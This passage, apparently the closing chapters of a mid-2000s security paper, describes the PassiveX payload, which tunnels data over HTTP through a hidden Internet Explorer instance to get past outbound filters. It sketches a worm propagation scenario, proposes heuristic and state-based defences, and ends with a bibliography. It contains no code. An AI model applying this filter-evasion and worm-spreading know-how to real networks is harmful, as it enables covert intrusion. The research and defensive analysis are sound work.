This approach is also useful to a penetration tester in that it may also be possible for them to make meaningful use of client-side vulnerabilities that would otherwise be incommunicable due to restrictive outbound filters. A particularly interesting illustration of such an approach would be to demonstrate how dangerous client-side browser vulnerabilities can be by showing that even though a company employs outbound filters on the content that leaves the network, it is still possible for an attacker to build a streaming connection to machines on the internal network once a browser vulnerability has been taken advantage of. Though such a scenario will most likely not be the norm during penetration testing, it is nonetheless a useful tool to have in the event that such a case presents itself.

4.4 Worm Propagation

There are uses for the PassiveX payload on the malicious side of the house as well. Due to the payload's ability to support automation through scripting and its inherent ability to allow for the construction of tunnels over arbitrary protocols, it seems obvious that such a tool could be useful in the realm of worm propagation. Take for instance a worm that spreads through server-side daemon vulnerabilities and also by embedding client-side browser vulnerabilities into the web sites of web servers that become compromised. The payload for the client-side browser vulnerabilities would be the PassiveX payload which would then download an inject an ActiveX control from a de-centralized location that would be responsible for the continued propagation of the worm through the same vectors. The payload's transmission over trusted protocols would make it just that much harder to stop assuming some level of effort were put forth to make the communication indistinguishable from normal browser traffic.

Chapter 5

Methods of Prevention

Now that a payload has been defined that is capable of bypassing standard outbound filters, the next step is to determine potential solutions in order to assist in the prevention of such techniques. Though efforts can be made elsewhere to prevent exploitation in the first place, it is still prudent to attempt to analyze approaches that could be taken to prevent a payload like the one described in this document from being used in a real world scenario. The primary concern when implementing a prevention mechanism, however, is that it must not also prevent normal user traffic from working as expected and should also be robust enough to catch future mutations of the same technique. A failure to succeed on either of these points is an indication that the prevention method is not entirely viable or sound. With that in mind, two potential methods of prevention will be described in this chapter, though neither of them should be seen as complete method of prevention. The key point again is that as long as it's possible for a user to communicate with the internet, so too will it be possible for an attacker to simulate traffic that looks as if it's coming from a user.

5.1 Heuristic based filtering

One method of prevention would be to implement an outbound filter that made use of contextual heuristics to determine if the traffic passing between two hosts might be potentially indicative of encapsulated data. For instance, a transparent HTTP proxy could monitor and track the variance of form and the spacing of requests and responses between two hosts. In the case of the simple HTTP tunnel described in this document, a transparent HTTP proxy could note that there is very little variance between the headers of both the requests and the responses and that the form of communication between the two hosts is unchanging. Though this could be made to work, there are a number of problems

that make using this technique of prevention not entirely viable.

The first and foremost problem with this technique is that it does not actually prevent communication between the two entities until it is able to determine that the requests and responses are of a common form and pattern. This alone makes this method of "prevention" entirely unreasonable, but it is nonetheless worthy of consideration from a completeness standpoint. Other problems with this approach include the fact that it's very easy to fool by making the communication unpredictable, sporadic, and very similar to normal HTTP traffic. This fact makes using a heuristic based form of validation less favorable as it will always need to error towards non-positive in order to prevent a poor user experience for legitimate traffic passing through the proxy.

5.2 Improving application-based filters

Another approach that can be taken to prevent tunneling through arbitrary protocols is to enhance application-based filters. For instance, PassiveX relies on its ability to execute a hidden instance of Internet Explorer. If the execution of a hidden Internet Explorer weren't permitted or the hidden instance were unable to access network resources, the payload would not be functional[1]. It would also be useful to support application-based filters on network activity that occurs on the loopback interface, such as binding to a TCP port on loopback. However, support for this requires a different approach than what is typically employed by most firewall vendors and would not necessarily be indicative of a malicious program[2].

Perhaps one of the most useful enhancements would be to add state-based filtering. One example of a state-based filter would be to prevent outbound communication of applications like Internet Explorer while the user is idle. Though this doesn't prevent communication while the user is active, it does add another layer of protection. Another example of a state-based filter would be to track unrequested internet traffic and to ask the user if it should be permitted. An example of unrequested internet traffic comes in the form of the initial HTTP request that is made by the hidden internet explorer. In this case, the Internet Explorer process was not spawned by a user and thus the internet traffic can rightly be deemed unrequested.

[1] There have been rumors of decisions to make it impossible to execute a hidden Internet Explorer, though no concrete information has been posted at the time of this writing.

[2] Most firewall products for NT-based versions of Windows are implemented as NDIS intermediate drivers since such drivers provide the lowest level of supported filtering.

Chapter 6

Conclusion

Securing a network involves protecting it from being compromised both from the outside and from the inside. To protect both of these conditions, network administrators may make use of outbound filters to help control and limit the type of content that is allowed to leave the network in conjunction with inbound filters that control and limit the type of content that is allowed to enter the network. While filtering data in both directions is important, it is not always enough to stop machines inside the network from being compromised. Outbound filters in particular, whether employed at the network, application, or intermediate level are all easily bypassed by virtue of the fact that they allow users of the machine to communicate with hosts on the internet in some form or another.

In order for an attacker to bypass outbound filters, the attacker must find a way to look like acceptable user traffic. One way of approaching this is to implement a payload that enables the execution of both signed and unsigned ActiveX controls in Internet Explorer's `Internet` zone. Once enabled, the payload could then launch a hidden Internet Explorer using a URL that contains an embedded ActiveX control. From there, the ActiveX control could construct an HTTP tunnel between the target machine and the attacker, thus creating a channel through which data can be passed in a fashion that will bypass most network's outbound filters. The reason this bypasses most outbound filters is because it uses a trusted protocol, such as HTTP, and is executed in the context of a typically trusted process, such as Internet Explorer, in an attempt to make the traffic appear legitimate.

The benefits of such a payload vary based on a person's alignment. However, it goes without saying that it could be potentially useful to both sides of the fence. Whether used for penetration testing or for worm propagation, the ability to bypass outbound filters makes for an interesting connection medium beyond those

typically used by post-exploitation payloads, such as those that establish reverse connections or listen on a port. Preventing payloads such as these from being possible might involve enhancing the ability of outbound filters to differentiate user traffic from non-user traffic.

There's no question that the field of exploitation and post-exploitation research is filled with vast amounts of ingenuity. The very act of making something do what no one else considered, or in ways no one considered, is one of the many examples of creativity. However, with ingenuity comes a certain sense of responsibility. While the topics expanded upon in this document could be used for malicious purposes, the author hopes that instead the reader will use this knowledge to discover or expand on things that have yet to be discussed, thus making it possible to continue the cycle of education and enlightenment.

Bibliography

[1] 3APA3A, offtopic. *Bypassing Client Application Protection Techniques.* http://www.securiteam.com/securityreviews/6S0030ABPE.html; accessed Mar 17, 2005.

[2] Dubrawsky, Ido. *Data Driven Attacks Using HTTP Tunneling.* http://www.securityfocus.com/infocus/1793; accessed Mar 15, 2005.

[3] GNU. *GNU httptunnel.* http://www.nocrew.org/software/httptunnel.html; accessed Mar 15, 2005.

[4] iDEFENSE. *AOL Instant Messenger aim:goaway URI Handler Buffer Overflow Vulnerability.* http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities; accessed Mar 08, 2005.

[5] Microsoft Corporation. *Working with Internet Explorer 6 Security Settings.* http://www.microsoft.com/windows/ie/using/howto/security/settings.mspx; accessed Mar 15, 2005.

[6] Microsoft Corporation. *The Component Object Model: A Technical Overview.* http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncomg/html/msdn_comppr.asp; accessed Mar 16, 2005.

[7] Microsoft Corporation. *About WinINet.* http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wininet/wininet/about_wininet.asp; accessed Mar 16, 2005.

[8] OSVDB. *Microsoft IE Object Type Property Overflow.* http://www.osvdb.org/displayvuln.php?osvdb_id=2967; accessed Mar 08, 2005.

[9] rattle. *Using Process Infection to Bypass Windows Software Firewalls.* http://www.phrack.org/show.php?p=62&a=13; accessed Mar 17, 2005.